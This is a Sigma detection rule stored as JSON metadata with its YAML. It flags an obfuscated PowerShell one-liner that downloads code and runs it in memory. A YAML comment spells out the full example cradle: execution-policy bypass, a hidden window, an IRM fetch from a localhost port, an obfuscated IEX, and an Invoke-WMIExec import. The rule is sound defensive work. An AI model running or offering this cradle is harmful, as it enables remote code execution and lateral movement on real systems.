{"id":"44e24481-6202-4c62-9127-5a0ae8e3fe3d","title":"Obfuscated PowerShell OneLiner Execution","description":"Detects the execution of a specific OneLiner to download and execute powershell modules in memory.","author":"@Kostastsale, TheDFIRReport","status":"test","level":"high","date":"2022-05-09","modified":"2025-04-16","tags":["attack.execution","attack.defense-impairment","attack.t1059.001","attack.t1685"],"technique_ids":["T1059.001","T1685"],"logsource":{"product":"windows","category":"process_creation"},"falsepositives":["Unknown"],"references":["https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/","https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38"],"source_path":"rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml","source_sha256":"4094b2697ae355e344a80c9a3259fbf82a5e7b9b077eaf77e2f0367a8190384e","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_powershell_download_cradle_obfuscated.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: Obfuscated PowerShell OneLiner Execution\nid: 44e24481-6202-4c62-9127-5a0ae8e3fe3d\nstatus: test\ndescription: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.\nreferences:\n    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/\n    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38\nauthor: '@Kostastsale, TheDFIRReport'\ndate: 2022-05-09\nmodified: 2025-04-16\ntags:\n    - attack.execution\n    - attack.defense-impairment\n    - attack.t1059.001\n    - attack.t1685\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        # Example: powershell -nop -noni -ep bypass -w h -c \"$u=(\"http://127.0.0.1:1337/\"|%%{(IRM $_)});&(\"\".SubString.ToString()[67,72,64]-Join\"\")($u); Import-Module C:\\Users\\EXAMPLE\\Invoke-WMIExec.ps1; Invoke-WMIExec\"\n        Image|endswith: '\\powershell.exe'\n        CommandLine|contains|all:\n            - 'http://127.0.0.1'\n            - '%{(IRM $_)}'\n            - 'Invoke'\n    condition: selection\nfalsepositives:\n    - Unknown\nlevel: high\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1059.001","id":"T1059.001","name":"PowerShell","page":"techniques/enterprise/T1059.001/"},{"key":"enterprise/T1685","id":"T1685","name":"Disable or Modify Tools","page":"techniques/enterprise/T1685/"}],"data_path":"data/detection-rules/44e24481-6202-4c62-9127-5a0ae8e3fe3d.json","kind":"sigma"}
